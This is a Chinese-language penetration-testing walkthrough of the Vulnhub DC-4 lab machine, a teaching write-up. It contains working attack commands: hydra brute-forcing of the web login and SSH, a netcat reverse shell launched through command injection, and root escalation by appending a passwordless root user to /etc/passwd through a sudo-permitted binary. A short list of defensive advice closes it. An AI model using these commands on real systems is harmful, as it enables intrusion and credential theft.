Vulnhub--DC-4
字数 1112 2025-08-11 21:26:29

Vulnhub DC-4 渗透测试实战教学文档

一、靶机部署

  1. 下载靶机

    • 下载地址:https://download.vulnhub.com/dc/DC-4.zip
    • 解压后导入.ova文件到虚拟机(导入过程中的错误可忽略)
  2. 网络配置

    • 推荐使用NAT模式
    • 启动靶机

二、信息收集阶段

1. 发现靶机IP

arp-scan -l
  • 示例结果:靶机IP为192.168.237.147

2. 端口扫描

nmap -A -T4 -p- 192.168.237.147
  • 发现开放端口:
    • 22/tcp - SSH服务
    • 80/tcp - HTTP服务

3. Web服务枚举

  • 访问http://192.168.237.147
  • 进行目录爆破(无显著收获)
  • 发现登录页面,预设用户名为"admin"

三、Web应用渗透

1. 密码爆破

  1. 使用Burp Suite拦截登录请求
  2. 发现凭证以明文传输
  3. 使用hydra爆破密码:
    hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.237.147 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -vV
    
    • 成功爆破出密码:"happy"

2. 命令注入漏洞

  1. 使用admin/happy登录
  2. 进入"Command"功能页面
  3. 发现"Run"按钮执行命令
  4. 使用Burp Suite拦截请求,发现执行的是"ls -l"命令
  5. 修改请求参数实现命令注入

四、获取初始立足点

1. 反弹Shell

  1. 攻击机开启监听:
    nc -lvvp 4444
    
  2. 通过命令注入执行:
    nc -e /bin/bash 192.168.237.148 4444
    
  3. 获取交互式Shell:
    python -c "import pty;pty.spawn('/bin/bash')"
    

2. 权限确认

whoami
  • 确认当前为低权限用户

五、横向移动

1. 枚举系统用户

ls /home
  • 发现三个用户:jim, charles, [第三个用户]

2. 查找敏感文件

find / -perm -u=s -type f 2>/dev/null
  • 检查SUID文件(无显著发现)

3. 发现jim用户的密码文件

ls -la /home/jim
  • 在/home/jim/backups目录下发现password文件
  • 查看内容获取密码字典

4. 爆破SSH服务

hydra -l jim -P /home/jim/backups/pass.txt 192.168.237.147 ssh
  • 成功爆破出jim用户的密码

5. 获取charles用户凭证

  1. 登录jim用户:
    ssh jim@192.168.237.147
    
  2. 检查邮件:
    cat /var/mail/jim
    
    • 发现charles用户发送的邮件包含其密码

六、权限提升

1. 切换到charles用户

ssh charles@192.168.237.147

2. 检查sudo权限

sudo -l
  • 发现可以使用teehee命令以root权限执行

3. 利用teehee提权

  1. 查看teehee帮助:
    teehee --help
    
  2. 添加root权限用户:
    echo "HK::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
    
  3. 切换到新用户:
    su HK
    
  4. 确认权限:
    whoami
    

七、获取flag

cd /root
ls
cat flag.txt

八、技术总结

  1. 信息收集

    • 网络扫描(arp-scan, nmap)
    • Web目录枚举
  2. Web渗透

    • 登录表单爆破
    • 命令注入漏洞利用
  3. 后渗透技术

    • 反弹Shell获取初始访问
    • 密码字典获取与利用
    • 邮件信息收集
    • Sudo权限滥用提权
  4. 工具使用

    • hydra密码爆破
    • netcat反弹Shell
    • sudo特权命令利用

九、防御建议

  1. 避免使用弱密码
  2. 对敏感操作进行输入验证
  3. 最小化sudo权限
  4. 避免在邮件中传输敏感信息
  5. 定期检查系统SUID文件和sudo权限配置
Vulnhub DC-4 渗透测试实战教学文档 一、靶机部署 下载靶机 : 下载地址:https://download.vulnhub.com/dc/DC-4.zip 解压后导入.ova文件到虚拟机(导入过程中的错误可忽略) 网络配置 : 推荐使用NAT模式 启动靶机 二、信息收集阶段 1. 发现靶机IP 示例结果:靶机IP为192.168.237.147 2. 端口扫描 发现开放端口: 22/tcp - SSH服务 80/tcp - HTTP服务 3. Web服务枚举 访问http://192.168.237.147 进行目录爆破(无显著收获) 发现登录页面,预设用户名为"admin" 三、Web应用渗透 1. 密码爆破 使用Burp Suite拦截登录请求 发现凭证以明文传输 使用hydra爆破密码: 成功爆破出密码:"happy" 2. 命令注入漏洞 使用admin/happy登录 进入"Command"功能页面 发现"Run"按钮执行命令 使用Burp Suite拦截请求,发现执行的是"ls -l"命令 修改请求参数实现命令注入 四、获取初始立足点 1. 反弹Shell 攻击机开启监听: 通过命令注入执行: 获取交互式Shell: 2. 权限确认 确认当前为低权限用户 五、横向移动 1. 枚举系统用户 发现三个用户:jim, charles, [ 第三个用户 ] 2. 查找敏感文件 检查SUID文件(无显著发现) 3. 发现jim用户的密码文件 在/home/jim/backups目录下发现password文件 查看内容获取密码字典 4. 爆破SSH服务 成功爆破出jim用户的密码 5. 获取charles用户凭证 登录jim用户: 检查邮件: 发现charles用户发送的邮件包含其密码 六、权限提升 1. 切换到charles用户 2. 检查sudo权限 发现可以使用teehee命令以root权限执行 3. 利用teehee提权 查看teehee帮助: 添加root权限用户: 切换到新用户: 确认权限: 七、获取flag 八、技术总结 信息收集 : 网络扫描(arp-scan, nmap) Web目录枚举 Web渗透 : 登录表单爆破 命令注入漏洞利用 后渗透技术 : 反弹Shell获取初始访问 密码字典获取与利用 邮件信息收集 Sudo权限滥用提权 工具使用 : hydra密码爆破 netcat反弹Shell sudo特权命令利用 九、防御建议 避免使用弱密码 对敏感操作进行输入验证 最小化sudo权限 避免在邮件中传输敏感信息 定期检查系统SUID文件和sudo权限配置